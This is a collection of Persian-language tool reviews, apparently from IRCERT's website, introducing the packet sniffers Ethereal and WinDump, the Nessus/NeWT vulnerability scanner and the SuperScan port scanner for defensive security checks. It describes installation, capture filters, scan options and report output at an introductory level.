مهم‌ترین پارامتر قابل تعیین در این میان، تعیین نام کاربری است که برای بررسی یک سیستم مبتنی بر سیستم عامل خانواده‌ی Windows به‌کار می‌رود. به‌عبارت دیگر با تعیین کاربری که اختیارات کاملی دارد، مانند Administrator، می‌توان تمامی اطلاعات مورد نظر درباره‌ی سیستم راه دور را به‌دست آورد. نکته‌یی که در این میان اهمیت دارد این است که در اغلب موارد، بررسی انجام شده توسط کاربر Administrator یا کاربران دیگری که اختیار تام در سیستم مورد نظر دارند، هدف نیست. به‌بیان دیگر هدف اصلی از استفاده از این امکان ویژه، بررسی امکان دسترسی به اطلاعات سیستم توسط یک کاربر نوعی بدون داشتن دسترسی‌های ویژه است. در واقع وجود امکان دسترسی به اطلاعات حیاتی در مورد سیستم، برای کاربران متفرقه است که امکان وجود خطر حملات به سیستم را بالا می‌برد و نه امکان دسترسی برای کابران در سطوح مدیریتی.

امکان فوق را، با توجه به سبکی این نرم‌افزار از نظر حجمی، و ساده‌گی آن از نظر استفاده، می‌توان به‌نوعی یک امکان پویش امنیتی به‌حساب آورد. استفاده‌ی اغلب کاربران خانه‌گی از سیستم‌های عامل سری Windows نیز به‌ اهمیت این امکان ویژه افزوده و آن را بیش‌تر به عنوان یک پویش‌گر امنیتی ساده مطرح می‌کند.

در بررسی‌های آتی، به نرم‌افزارهای دیگری از این دسته ابزارها خواهیم پرداخت.


﻿ IRCERT - بخش اول - ابزارها Ethereal

صفحه اول > ابزارها

Ethereal، بخش اول

Ethereal ابزاری کد-باز و رایگان است، که آن‌را می‌توان در دسته‌ی Snifferها جای داد. این نرم‌افزار با توجه به ویژگی‌هایش، یکی از متداول‌ترین ابزارهای آنالیز ترافیک شبکه است، هرچند که در حال حاضر، با وجود گذشت زمان نسبتاً زیادی از معرفی آن، هنوز در مرحله‌ی تست قرار داشته و در زمان نگارش این مطلب آخرین نگارش آن نگارش 0.10.4 است که از پای‌گاه www.ethereal.com قابل دریافت است. لازم به ذکر است که سورس این نرم‌افزار را نیز می‌توانید از همین آدرس دریافت کنید.

این نرم‌افزار نیز مانند WinDump، پس از نصب، از کتابخانه‌ی Winpcap برای دریافت اطلاعات بسته‌ها استفاده می‌کند، لذا پیش از نصب Ethereal، آخرین نسخه‌ی نرم‌افزار Winpcap را نصب کنید. همان‌طور که گفته شد این بسته امکان دریافت بسته‌ها و استخراج اطلاعات از آن‌ها را، تحت سیستم‌عامل Windows، فراهم می‌کند.

اگر برای اولین بار است که قصد نصب و کار با این دسته از نرم‌افزارها (Snifferها) را دارید، پیش‌نهاد می‌کنیم ابتدا قسمت اول مقاله‌ی مربوط به WinDump را، که به مقدمه‌یی در باب Snifferها پرداخته است، مطالعه کنید.

Ethereal، به عنوان نمونه‌یی از یک Sniffer، وظیفه‌ی ثبت رخدادها، اطلاعات و بسته‌های رد و بدل شده بر روی لایه‌ها‌ی شبکه را بر عهده دارد. با ثبت داده‌های در حال انتقال بر روی شبکه و تجزیه‌ی آنها، می‌توان بسته‌های اطلاعاتی مربوط به پروتکل‌های متفاوت را از یکدیگر تفکیک نمود و ارتباطات مجزا را شناسایی نمود. همان‌گونه که در معرفی این دسته از نرم‌افزارها گفته شد، این قبیل تحلیل‌ها، می‌توانند به شناسایی ارتباطات خطرناک، تلاش‌های پیاپی برای دست‌یابی به منابع شبکه و نفوذ به آن و یا از کار انداختن نرم‌افزارها و سخت‌افزارها فعال بر روی شبکه، بیانجامد. با این وجود از آنجاکه خروجی این‌ دسته از نرم‌افزارها به حدی پیچیده‌اند که کاربران عادی قادر به تحلیل آنها نیستند، لذا این‌گونه نتیجه‌گیری‌ها و تحلیل‌ها عموماً توسط متخصصین شبکه انجام می‌پذیرد.

نرم‌افزار Ethereal بر روی سه بستر اصلی Windows، Linux و Solrais ارایه می‌شود که نسخه‌یی که ما بررسی می‌کنیم، نسخه‌ی تحت Windows آن است.

توانایی‌های این دسته از ابزارها را عموماً می‌توان به بخش‌های زیر تقسیم کرد :

- انواع پروتکل‌ها و انواع رابط‌های شبکه‌یی که توسط ابزار شناسایی شده و تفکیک می‌گردند.

- روش‌ها و قالب‌های ذخیره‌سازی خروجی برداشت و تحلیل اطلاعات شبکه

- امکان بازخوانی اطلاعات ذخیره شده توسط نرم‌افزارهای Sniffer مشابه دیگر

- امکان استفاده از فلیتر برای پروتکل‌های مختلف

- قابلیت نصب بر روی محیط‌ها و سیستم‌های عامل متنوع

البته ساده‌گی کار با نرم‌افزار، به عنوان قابلیت‌های ویژه‌ی رابط کاربری، نیز یکی دیگر از قابلیت‌هایی است که اغلب برای کاربران نیمه‌حرفه‌یی و مبتدی اهمیت ویژه‌یی دارد.

قابلیت‌های خاص Ethereal را، با توجه به تقسیم‌بندی فوق، می‌توان به شرح دسته‌بندی نمود :

- شناسایی پروتکل‌ها و رابط‌‌های شبکه‌ی متنوع

این نرم‌افزار قابلیت شناسایی حدود ۵۰۰ نوع پروتکل مجزا را دارد. تنوع این پروتکل‌ها به این نرم‌افزار قدرتی ویژه بخشیده است.

از باب ارتباطات نیز این نرم‌افزار قابلیت دریافت اطلاعات بسته‌های فعال ارتباطات Ethernet، FDDI، Token-Ring، IEEE 802.11، IP over ATM و رابط‌های loopback را دارد.

- ذخیره‌سازی اطلاعات

Ethereal با ایجاد فایل‌های خروجی قابل ویرایش در قالب‌های lippcap(tcpdump)، Sun snoop، Microsoft Network Monitor و Network Associate Sniffer از نظر ذخیره‌سازی اطلاعات نیز ابزاری قدرت‌مند محسوب می‌شود.

- سازگاری با خروجی نرم‌افزارها و سیستم‌های دیگر

Ethereal قابلیت بازخوانی پرونده‌های اطلاعاتی نرم‌افزارهای مشابه دیگری همچون TCPDump، NAI’s Sniffer & Sniffer Pro، NetXray، MS Network Monitor، Novell LANanalyser، Cisco Secure IDS iplog و غیره را دارد.

- فیلترها

این ابزار، با محدود سازی روش دریافت و تحلیل اطلاعات جمع‌آوری شده از بسته‌ها، در بسیاری از حالات امکان استفاده از فیلترهای پرقدرتی را به کاربر می‌دهد. در عین حال با استفاده از این فیلترهای می‌توان به جست‌وجوی بسته‌ها در میان اطلاعات ذخیره شده نیز پرداخت.

- قابلیت‌ها رابط کاربری

رنگ‌های متنوع برای تغییر روش نمایش اطلاعات بسته به فیلتر انتخاب شده، منوهای متنوع و دیگر امکانات رابط کاربری، که بیشتر در بخش‌ها آتی در حین معرفی چگونگی استفاده از این نرم‌افزار به آنها اشاره خواهیم کرد، به تحلیل و شناسایی بسته‌ها کمک شایانی می‌کند. همان‌طور که ذکر شد، این قابلیت جذابیت ویژه‌یی برای کاربران مبتدی و نیمه‌حرفه‌یی دارد.

در بخش‌ بعد به بررسی مقدماتی روش‌های استفاده از این نرم‌افزار و ارایه‌ی مثال‌هایی در این باب خواهیم پرداخت.


﻿ IRCERT - بخش دوم - ابزارها Ethereal

صفحه اول > ابزارها

Ethereal، بخش دوم

در بخش اول، ضمن ارایه‌ی جمع‌بندی در مورد Snifferها، که Ethereal یکی از معروف‌ترین و قدرتمندترین نرم‌افزارهای این دسته از ابزارهاست، به ویژگی‌های برجسته‌ی این نرم‌افزار اشاره کردیم. بررسی قابلیت‌های این نرم‌افزار بر اساس جنبه‌های مختلف و متنوعی صورت گرفت که در مورد این دسته از ابزارها مد نظر قرار می‌گیرد.

شکل زیر، رابط کاربری این نرم‌افزار پیش از شروع عملیات را نشان می‌دهد :

همان‌گونه که مشاهده می‌کنید، رابط کاربری این نرم‌افزار بسیار شبیه به رابط‌های گرافیکی متداول سیستم‌های عامل Linux است، محیط‌هایی همچون KDE و GNOME.

در منوی فایل، می‌توان خروجی عملیات انجام شده را در قالب‌های مختلف درون فایل ذخیره کرد یا فایل‌های ذخیره شده در قالب‌های مختلف، ایجاد شده توسط نرم‌افزارهای گوناگون، را باز کرد و تحلیل نمود.

شروع عمکرد این نرم‌افزار با استفاده از منوی Capture صورت می‌گیرد. شکل زیر صفحه‌ی مربوط به این منو را نشان می‌دهد :

در قسمت بالا، رابط شبکه‌یی که عملیات دریافت بسته‌ها بر روی آن انجام می‌گیرد مشخص می‌شود. این رابط شبکه می‌تواند به ارتباط مودم ما با اینترنت نیز اشاره کند. به عبارت دیگر توسط چنین نرم‌افزارهایی، می‌توان به بررسی وضعیت ارسال و دریافت بسته‌ها و تحلیل آن‌ها در ارتباطات میان مودم‌ها و ارایه‌کنند‌ه‌گان سرویس اینترنت نیز پرداخت. خروجی این عملیات می‌تواند اطلاعات مفیدی از حملات احتمالی در حال انجام به سیستم ما را نشان دهد.

قسمت‌های دیگر این صفحه شامل تعیین نام فایلی که بسته‌های دریافت شده در آن‌ها قرار می‌گیرد و همچنین شرایط که در صورت حصول آن‌ها عمل Capture خاتمه می‌پذیرد. سمت راست این صفحه نیز یکی از ویژه‌گی‌های مهم عمل Capture را تعیین می‌کند که تعیین نام مترادف آدرس‌ها در شبکه است. این عمل، ضمن آن‌که اطلاعات جامع و مفیدی را در اختیار ما قرار می‌دهد، عمل دریافت و جمع‌آوری بسته‌ها را کند می‌کند.

شکل زیر، وضعیت پس از آغاز عملیات Capture را نشان می‌دهد. رابط شبکه‌ی مورد استفاده، ارتباط PPP برقرار شده است :

همان‌گونه که در شکل نیز مشخص است، انواع پروتکل‌ها در خروجی مورد نظر دسته‌بندی شده‌اند و در مقابل نام آنها تعداد دریافت شده از آن پروتکل درج می‌شود.

پس از قطع عمل Capture، فهرستی از بسته‌های دریافت شده در پنجره‌ی اصلی نمایش داده می‌شود :

بسته‌های دریافت شده، به ترتیب و بر اساس زمان دریافت مرتب شده‌اند. این فهرست شامل شماره‌ی بسته، زمان دریافت/ارسال آن، آدرس‌های مبدأ و مقصد و نوع بسته نمایش داده شده است. در قسمت پایین‌تر، نوع بسته و اطلاعاتی که از ابتدای بسته استخراج شده‌اند، مانند مبدأ و مقصد، پورت و دیگر اطلاعات درج می‌شود و در قسمت پایین پنجره‌ی اصلی محتوای خام بسته نمایش داده شده است.

خروجی به دست آمده را می‌توان با تعیین قالب مورد نظر برای دسترسی‌های آتی ذخیره نمود. شکل زیر صفحه‌یی که در آن امکان ذخیره سازی پرونده با تعیین قالب مورد نظر وجود دارد را نشان

می‌دهد :

شکل بالا، تعدادی از قالب‌های قابل استفاده برای ذخیره‌ی پرونده توسط این نرم‌افزار را نشان می‌دهد. انواع این قالب‌ها در بخش اول از بررسی این نرم‌افزار معرفی شده‌اند.

در بخش بعدی از بررسی این نرم‌افزار به روش تعریف فیلتر‌ها و چگونه‌گی جستجو و تحلیل در بسته‌های دریافت/ارسال شده، با استفاده از فایل‌های پیشین ذخیره شده، خواهیم پرداخت.


﻿ IRCERT - ابزارها - Nessus

صفحه اول > ابزارها

Nessus : پویش‌گری ساده و قدرتمند

با مقدمه‌یی که در مورد پویش‌گرهای امنیت در شبکه بیان شد، و به‌معرفی یکی از آن‌ها یعنیLANGuard Network Security Scanner پرداختیم، نوبت به معرفی نرم‌افزاری قدرتمند با نام Nessus محصولی کد-باز و رایگان که با قابلیت‌های ویژه‌اش خود را مبدل به یکی از به‌ترین ابزارها در سال‌های اخیر ساخته است، می‌رسد.

هرچند که این نرم‌افزار در واقع تنها برای محیط‌های Linux، BSD، Solaris و دیگر محیط‌های مشابه Unix نوشته شده است و در پایگاه www.nessus.org قابل دریافت است، ولی نگارشی از آن برای سیستم‌های عامل سری Windows با نام NeWT محصول Tenable Network Security Inc. نیز موجود است که با مراجعه به پای‌گاه این شرکت، www.tenablesecurity.com ، قابل دریافت است. مبنای این معرفی بر پایه‌ی نسخه‌ی تحت Windows این ابزار، یعنی NeWT، می‌باشد.

شکل زیر صفحه‌ی آغازین این نرم‌افزار را نشان می‌دهد :

با انتخاب پویش جدید، نرم‌افزار آدرس یا آدرس‌های سیستم‌های مورد نظر برای پویش را به عنوان ورودی دریافت می‌کند. این آدرس‌ها می‌توانند در یک بازه‌ی آدرس نیز نباشند و در این صورت تک تک آنها به صورت مجزا باید ذکر شوند.

پیش از شروع پویش، از آن‌جاکه برخی از عملیاتی که در حین پویش توسط نرم‌افزار انجام می‌گیرد باعث ایجاد آسیب‌های امنیتی به سیستم مورد نظر می‌شوند، امکان تعیین زیربرنامه‌هایی که برای بررسی امنیت مورد استفاده قرار خواهند گرفت نیز وجود دارد.

پس از انتخاب حالت مورد نظر، که همان‌گونه که نرم‌افزار نیز پیش‌نهاد کرده است حالت اول امن‌ترین حالت برای پویش است، نرم‌افزار شروع به پویش کرده و در حین پویش اطلاعاتی همچون درصد پیشرفت پویش، تعداد پورت‌های باز، اخطارهای امنیتی و شکاف‌های موجود در سیستم مورد نظر ارایه می‌دهد. شکل زیر خروجی نرم‌افزار در حین پویش را نمایش می‌دهد.

پس از اتمام عمل پویش، نرم‌افزار گزارشی به‌صورت HTML تولید کرده و توسط مرورگر نمایش می‌دهد. شکل زیر نمونه‌ای از این گزارش را نشان می‌دهد.

در هر بخش از گزارش‌های ارایه شده توسط این نرم‌افزار، ضمن درج آسیب‌های امنیتی محتمل، آدرسی برای دریافت اطلاعات بیشتر در مورد ضعف امنیتی به‌همراه روش رفع آن نیز ذکر می‌شود.

همان‌گونه که در تصویر اول نیز مشاهده می‌شود، در این نرم‌افزار امکان مدیریت زیربرنامه‌هایی که توسط آن‌ها پویش انجام می‌گیرد نیز وجود دارد. از سوی دیگر در قسمت پیکربندی نیز می‌توان جزئیات پویش را نیز تعیین کرد. در این قسمت امکان تعیین کدهای کاربری به همراه رمز عبور برای پویش سرویس‌هایی که نیاز به احراز هویت دارند نیز فراهم شده است.

نرم‌افزار Nessus، و نسخه‌ی تحت Windows آن یعنی NeWT، با توجه به بازه‌ی نستباً وسیعی از سرویس‌ها و جوانب امنیتی که مد نظر قرار داده است، یکی از قوی‌ترین نرم‌افزارها در میان ابزارهای مشابه است. از آن‌جاکه رایگان بودن و راحتی استفاده از آن، به همراه گزارش نستباً مفصل و جامع پس از پویش، به جذابیت‌های آن افزوده است، یکی از ابزارهای مناسب برای کاربران مبتدی، متوسط و حتی پیشرفته محسوب شده و استفاده از آن به همه توصیه می‌گردد.


﻿ IRCERT - بخش دوم - ابزارها WinDump

صفحه اول > ابزارها

WinDump، بخش دوم

در بخش پیش، مقدمه‌یی درباره‌ی Snifferها، که ابزارهایی برای تحلیل ترافیک شبکه هستند، بیان شد. در آن بخش، پس از تعریف این دسته از نرم‌افزارها، فواید استفاده از این ابزارها، برای تحلیل ترافیک شبکه مورد بررسی قرار گرفت. در ادامه، همچنین به روش‌هایی که با استفاده از آن‌ها نفوذگران دست به حمله به سیستم‌ها و شبکه‌های رایانه‌یی می‌زنند پرداخته شد و در انتها برخی از روش‌های مقابله با این قبیل نفوذها را ذکر کردیم.

در قسمت دوم و پایانی از این بررسی، به نرم‌افزار WinDump، که نمونه‌یی مرسوم از این ابزارها است می‌پردازیم. این نرم‌افزار عملاً نسخه‌ی تحت سیستم‌های‌عامل سری Windows ابزار tcpdump است. tcpdump که نرم‌افزاری قدیمی و متداول تحت سیستم‌عامل خانواده‌ی Unix می‌باشد، جزو اولین و ساده‌ترین Snifferها است.

دریافت و نصب نرم‌افزار

برای دسترسی به این نرم‌افزار و دریافت آن می‌توانید به آدرس http://windump.polito.it مراجعه کنید. این نرم‌افزار از کتابخانه‌یی سازگار با libpcab استفاده می‌کند که نگارش تحت Windows آن به WinPcap موسوم است. این نرم‌افزار را می‌توانید از همان سایت دریافت کنید. پس از نصب آخرین نگارش WinPcap، نرم افزار WinDump عملیاتی می شود. نکته‌یی که باید به‌خاطر داشته باشید این است که برای آنکه این نرم‌افزار تمامی و یا اغلب بسته‌های در حال انتقال بر روی شبکه را شناسایی و دریافت کند، باید از آخرین نگارش آن استفاده کنید، هرچند که این نرم‌افزار مدت‌ها‌ست که به روز نشده، با این وجود اگر به‌طریقی نگارشی دیگر و قدیمی از این نرم‌افزار را به دست آوردید، برای کارایی بهتر، نسخه‌ی جدیدتر را دریافت کنید.

قابلیت‌های WinDump

محیط استفاده از این نرم‌افزار، محیطی ساده و متنی است. در واقع وجود این محیط به‌منظور سادگی بیشتر و تشابه هرچه بیش‌تر آن با نرم افزار tcpdump است. با وجود این سادگی، WinDump دارای قابلیت‌های متنوعی است.

پس از اجرای این نرم‌افزار، با تعیین رابط شبکه‌یی که WinDump می‌باید به‌دریافت بسته‌های رد و بدل شده بر روی شبکه‌ی مرتبط با رابط مورد نظر بپردازد، این نرم‌افزار، Header تمامی بسته‌های دریافت شده را بر روی صفحه‌ی نمایش داده و زمان و تاریخ هریک را نیز نشان می‌دهد.

شناسایی و تعیین پروتکل‌ها

WinDump، بسیاری از پروتکل‌ها را شناسایی می‌کند و در این صورت نام پروتکل مورد نظر را بر روی صفحه نشان می‌دهد. با این وجود این امکان وجود دارد که تنها پروتکلی خاص برای تحلیل و شناسایی مورد نظر قرار گیرد و WinDump تنها بسته‌های پروتکل تعیین شده را در گزارش نشان دهد.

از سوی دیگر، این نرم‌افزار امکان شناسایی بسته‌هایی با انواع خاص، مانند بسته‌هایی متعلق به VLANهای تعریف شده بر روی شبکه، یا بسته‌های متعلق به ارتباطات VPN را دارد. در مورد بسته‌های متعلق به VPN، امکان رمزگشایی آنها با تعیین الگوریتم رمزنگاری و تعیین کلید مربوطه نیز وجود دارد.

- تعیین مبدأ و مقصد خاص

در صورت نیاز، با استفاده از کلید‌هایی، می‌توان بسته‌هایی را مشاهده کرد که از مبدأ(هایی) به مقصد(هایی) خاص در حال گذر هستند.

خروجی‌های مختلف

این نرم‌افزار، بر اساس پروتکل‌های مختلف خروجی‌های مختلفی را نشان می‌دهد. به‌عبارت دیگر، برای هر بسته، بر اساس اینکه متعلق به چه نوع پروتکلی است، نوع خروجی، یا خط گزارش مورد نظر، مستقل از زمان و تاریخ دریافت بسته، متفاوت است. هرچند که برای اکثر آنها، نام یا آدرس و شماره‌ی پورت مورد نظر بسته، نمایش داده می‌شود.

در صورت نیاز و به منظور بالاتر رفتن سرعت پردازش WinDump، می‌توان قابلیت استخراج اسامی سیستم‌ها در قالب مبدأ و مقصد را، حذف نمود و تنها به مشاهده‌ی آدرس اکتفا کرد. در این صورت، تأخیری که صرف به دست آوردن نام سیستم مبدأ یا مقصد می‌شود از بین می‌رود.

فیلترهای متنوع خروجی

یکی از قابلیت‌های خاص این نرم‌افزار، امکان استفاده از فیلترهای مختلف برای تعیین خروجی و بررسی بسته‌های ویژه است. برای تعیین نوع گزارش، می‌توان پارامترهای مختلفی را تعیین نمود که بر اساس آنها، WinDump گزارش بسته‌های خاصی را نمایش می‌دهد و بسته‌های دیگر را نادیده می گیرد.

نمونه‌یی از این فیلترها، فیلتر اندازه‌ی بسته و یا نوع بسته در قالب یک پروتکل واحد است. به عبارت دیگر، توسط این فیلترها، می‌توان بسته‌هایی با اندازه‌هایی خاص را مورد نظر قرار داد و یا برای مثال می‌توان بسته‌های خاصی از پروتکل TCP را بررسی کرد و دیگر بسته‌ها را نادیده گرفت.

برای تعیین فیلترها، علاوه بر عباراتی که به‌صورت پیش‌فرض در این نرم‌افزار قابل دسترسی هستند، عباراتی جدید را نیز با ترکیب عبارات ساده می‌توان به‌دست آورد. عبارات پایه، برای تعیین پارامترهای ابتدایی مانند مبدأ، مقصد، پورت، پروتکل و دیگر پارامترها هستند.

ذخیره‌ی گزارش

این نرم‌افزار قابیلت ذخیره‌ی گزارش مورد نظر به صورت یک پرونده را نیز دارد. پرونده به‌صورت خام و پردازش نشده ذخیره می‌شود و برای پردازش بر روی آن، می‌توان از همین نرم‌افزار، با تعیین از پارامتری خاص، استفاده نمود که در آن صورت عملاً گزارش اولیه تولید می‌شود.

با توجه به قابلیت‌هایی که در مورد این نرم‌افزار، به‌اختصار، مورد اشاره قرار گرفت، این ابزار را می‌توان ابزاری قوی برای کاربرانی که به ابزار متداول و قدیمی tcpdump عادت داشته‌اند دانست. با این وجود از آنجاکه روش کار با آن برای کاربران عادی، به دلیل نبود رابط کاربری گرافیکی مناسب، کمی خسته کننده است، می‌توان از Snifferهای دیگری همچون نرم‌افزار Ethereal استفاده کرد، که با استفاده از رابط کاربری آنها، تحلیل و تعیین روش کار به‌راحتی صورت گرفته، و خروجی تولید شده خوانایی بیش‌تری دارد.

نکته‌یی که علاوه بر ذکر در بخش اول در این‌جا نیز مجدداً بر روی آن تأکید می‌کنیم این است که تقریباً در تمامی موارد، Snifferها تنها در شرایطی کاربرد دارند که در شبکه‌ی مورد نظر از سوییچ استفاده نشده باشد یا در صورت استفاده از سوییچ، درگاهی خاص برای تحلیل تمامی ترافیک در حال پردازش توسط سوییچ بر روی درگاه‌های دیگر، قابل تعریف باشد.


﻿ IRCERT - ، قسمت اول - ابزارها SuperScan

صفحه اول > ابزارها

SuperScan، قسمت اول

یکی از اولین قدم ها برای تعیین میزان آسیب‌پذیری یک سیستم رایانه‌یی، استفاده از ابزارها و روش‌هایی است که به ما امکان می دهد خود به بررسی وضعیت امنیتی سیستم، از دید یک کاربر بیرونی، و در برخی شرایط از دید یک نفوذگر به شبکه و سیستم‌های رایانه‌یی، بپردازیم. به عبارت دیگر، چنانچه امکان بررسی وضعیت امنیتی سیستم مان، با چنین روش‌هایی وجود داشته باشد، چاره‌اندیشی برای مقابله با شرایط خطیر و برطرف نمودن ضعف‌های سیستم، آسان می‌شود.

در معرفی ابزارهای گوناگون در این بخش، جدا از معرفی ابزارهایی که به‌محافظت در برابر حملات احتمالی به سیستم‌مان به ما یاری می‌رسانند، تاکنون نرم‌افزارهایی را نیز معرفی کرده‌ایم که امکان بررسی وضعیت امنیتی سیستم مورد نظر را فراهم می‌کنند. در این دسته از نرم‌افزارها، پویش‌گرهای امنیتی، به عنوان راه‌کارهای جامعی که به کلیه‌ی ابعاد امنیتی یک سیستم می‌پردازند جای‌گاهی ویژه دارند. همان‌گونه که در مرورهای پیشین مشاهده کرده‌اید، هدف از استفاده از این پویش‌گرها، مجتمع‌سازی امکان بررسی امنیتی یک سیستم، بدون نیاز به استفاده از چند ابزار هم‌زمان است. در پویش‌گرهای امنیتی، وضعیت امنیتی سیستم از ابعاد مختلفی همچون پویش سیستم‌های موجود بر روی شبکه، تعیین سیستم‌های‌عامل موجود، وضعیت اصلاحیه‌های امنیتی، وضعیت درگاه‌های باز و غیره بررسی می‌گردد.

با وجود امکان استفاده از این دسته از پویش‌گرها امنیتی، در مواردی که تنها به پویش وضعیت امنیتی یک سیستم، از جنبه‌یی خاص، داریم، می‌توانیم تنها از دسته‌یی از نرم‌افزارها استفاده کنیم که بررسی امنیتی را به ابعادی خاص محدود می‌کنند. برای مثال یک پویش‌گر درگاه (که در این متن قصد معرفی یکی از متداول‌ترین نرم‌افزارهای این دسته ابزارها را داریم)، تنها به بررسی بازبودن درگاه‌های یک سیستم می‌پردازد.

پویش‌گرهای درگاه، به‌همراه پویش‌گرهای آدرس، دو دسته ابزاری هستند که اغلب توسط نفوذگران، برای بررسی اولیه‌ی وضعیت سیستم مورد نظر استفاده می‌گردند. از آن‌جایی که ارتباطات مبتنی بر پروتکل TCP/IP بر اساس شماره‌ی درگاه TCP/UDP مورد نظر انجام می‌گیرد، لذا هر درگاه عملاً نماینده‌ی نرم‌افزار خاصی است. برای مثال درگاه استاندارد Web Serverها درگاه شماره‌ی 80 است، لذا در صورتی که نفوذگر از باز بودن این درگاه مطلع شود، می‌تواند نوع Web Server را نیز مشخص کرده و با اطلاعاتی که در مورد ضعف‌های امنیتی آن دارد به حمله از طریق این درگاه مبادرت نماید. روند کار در مورد دیگر درگاه‌ها نیز مشابه است.

با توجه به اهمیتی که درگاه‌های باز روی سیستم در بالا رفتن خطر حملات دارند، یکی از قدم‌های اولیه برای تعیین میزان امنیت کنونی سیستم، اطلاع یافتن از درگاه‌های باز است. همان‌گونه که گفته شد، این نوع پویش قسمتی از وظایف پویش‌گرهای امنیت است و در صورت استفاده از آنها می‌توان برای اطلاع یافتن از وضعیت درگاه‌های باز، به گزارش‌های حاصل از پویش جزئی‌ی این نرم‌افزارهای رجوع کرد.

برای پویش درگاه‌های یک سیستم نرم‌افزارهای متعددی وجود دارند که نرم‌افزار SuperScan یکی از متداول‌ترین این ابزارهاست. این نرم‌افزار که محصول شرکت Foundstone است و امکان پویش آدرس‌های IP را نیز دارد، را می‌توانید به صورت رایگان از پای‌گاه این شرکت در آدرس www.foundstone.com دریافت کنید. نسخه‌یی که در این متن به آن پرداخته می‌شود، نگارش ۴ است.

این نرم‌افزار که دارای حجم بسیار کمی است، تنها شامل یک فایل است و گزارش‌های خود را نیز در قالب HTML تولید می کند. شکل زیر صفحه‌ی اصلی این نرم‌افزار در ابتدای اجرا را نشان می‌دهد :

در قسمت اول، امکان ورود اسم یا آدرس IP یا بازه‌یی از آدرس‌های IP وجود دارد. در شکل زیر بازه‌یی از IPها برای عمل پویش تعیین شده‌اند :

در قسمت دوم، امکان تعیین پارامتر برای تعیین نوع پویش وجود دارد. مقادیر پیش فرض در شکل زیر نمایش داده شده‌اند :

برای تعیین پارامترها، سه بخش مجزا وجود دارد که به عنوان سه وظیفه‌ی اصلی این ابزار است. در قسمت اول، امکان استفاده از این ابزار به عنوان یک پویش‌گر آدرس IP وجود دارد. در دو قسمت دیگر، پویش یا عدم پویش درگاه‌های پروتکل‌های TCP یا UDP و همچنین بازه‌ی درگاه‌های مورد نظر تعیین می‌گردد. بازه‌های تعیین شده به‌صورت پیش‌فرض، اختصاص به درگاه‌های متداول و مورد استفاده دارد. در صورت نیاز می‌توان به این بازه از درگاه‌ها، شماره‌های دیگری را نیز اضافه کرد. در قسمت درگاه‌های TCP/UDP، امکان تعیین درگاهی به عنوان درگاه مبدأ، به صورت ثابت، نیز وجود دارد.

در هریک از این سه بخش، زمانی که ابزار منتظر پاسخ از سوی سیستم مورد نظر می‌ماند، بر حسب میلی ثانیه، تعیین می‌شود. البته باید به‌خاطر داشت که این اعداد به‌معنای فاصله میان بسته‌های ارسالی نیست. این عدد در بخش دیگری قابل تنظیم است.

شکل زیر پنجره‌ی بعدی، یعنی Scan Options، برای تعیین پارامترهای دیگر این ابزار را نشان می‌دهد :

در این بخش امکان تعیین تعداد دفعاتی که پویش، چه برای آدرس و چه برای درگاه، انجام می‌گردد، وجود دارد. با تکرار پویش، نتایج دقت بیشتری می‌یابند، خصوصاً اگر در حال پویش بر روی شبکه‌یی با سرعت پایین هستیم.

پارامتر مهم دیگر در این میان امکان Banner Grabbing است که برای سرویس‌هایی که اصطلاحاً Banner نشان می‌دهند، همچون Web Serverها و FTP Server، کاربرد دارد. معمولاً با استفاده از Banner، می‌توان از نوع و سازنده‌ی Server مورد نظر آگاه شد.

در قسمت سمت راست، سرعت پویش تعیین می‌گردد. این سرعت که با تعیین فاصله‌ی میان بسته‌های تولیدی قابل تنظیم است، در صورتی که در حال پویش تعداد زیادی سیستم، بر روی شبکه‌یی گسترده با سرعتی قابل قبول هستیم، در کوتاه کردن زمان اجرای ابزار نقش به‌سزایی دارد.

در قسمت بعدی از مرور این نرم‌افزار به امکانات دیگر آن خواهیم پرداخت.


﻿ IRCERT - بخش سوم - ابزارها Ethereal

صفحه اول > ابزارها

Ethereal، بخش سوم

در دو بخش پیشین، ضمن تعریف ابزارهای Sniffer، به معرفی یکی از متداول‌ترین آن‌ها، یعنی Ethereal پرداختیم. در این بخش، به معرفی امکان استفاده از Filterهای این نرم‌افزار، و چگونه‌گی انجام تحلیل بر اساس خروجی‌های به‌دست آمده می‌پردازیم.

در این نرم‌افزار، عملاً سه نوع فیلتر قابل تعریف است :

- فیلترهای Capture

- فیلترهای نمایش

- فیلترهای رنگی

برای استفاده از فیلترهای Capture، در منوی Capture، گزینه‌ی Capture Filters را انتخاب می‌کنیم. پنجره‌یی به شکل زیر باز می‌شود :

با انتخاب گزینه‌ی New، فیلتر جدیدی تعریف می‌کنیم. این نرم‌افزار برای تعریف فیلتر رابط کاربری به‌صورت گرافیکی ندارد، لذا با استفاده از گزینه‌ی Help در پایین همین پنجره، می‌توان از روش تعریف فیلترها به‌صورت متنی آگاه شد. در این مثال، فیلتری به نام Simple تعریف می‌کنیم که توسط آن، Ethereal تنها به دریافت بسته‌هایی مبادرت می‌کند که آدرس فرستنده آن 192.168.0.1 باشد. فیلتر را ذخیره می‌کنیم پنجره را می‌بندیم. اکنون عمل Capture را آغاز می‌کنیم :

همان‌گونه در شکل بالا مشخص است، در قسمت Capture Filters می‌توان فیلتری را تعریف کرد و یا از فیلترهای تعریف شده‌ی پیشین استفاده کرد. پس از انجام عمل Capture، Ethereal تنها بسته‌هایی را دریافت خواهد کرد که آدرس مبدأ آنها 192.168.0.1 باشد.

برای استفاده از فیلترهای نمایشی، می‌توان از خروجی‌های پیشین و عملیات Capture قبلی استفاده کرد. به این منظور یکی از پرونده‌های قبلی را باز می‌کنیم :

این پرونده به‌عنوان نمونه‌یی از عمل دریافت بسته‌ها تهیه شده است. پس از باز کردن این پرونده، بسته‌های موجود در آخرین عمل دریافت، در پنجره‌ی اصلی ظاهر خواهند شد :

طبیعی‌ست که برای دسته‌بندی بسته‌ها بر اساس یکی از پارامترهای زمان دریافت، آدرس مبدأ یا مقصد و نوع پروتکل می‌توان به کلیک کردن بر روی برچسب هریک از ستون‌ها، اطلاعات را بر حسب آن ستون مرتب‌کرد. عمل تعریف فیلتر و اعمال آن بر روی اطلاعات، متفاوت از این مرتب‌سازی است. به بیان دیگر، با استفاده از فیلتر می‌توان شروط پیچیده‌تری برای مشاهده‌ی بسته‌ها تعریف کرد.

اکنون می‌خواهیم با استفاده از تعریف فیلترها نمایش در این نرم‌افزار، بسته‌های مورد نظر خود را جدا کنیم. برای این‌کار می‌توان فیلتر را مستقیماً در قسمت Filter، پایین Toolbar اصلی، در پنجره‌ی اصلی تعریف کرد :

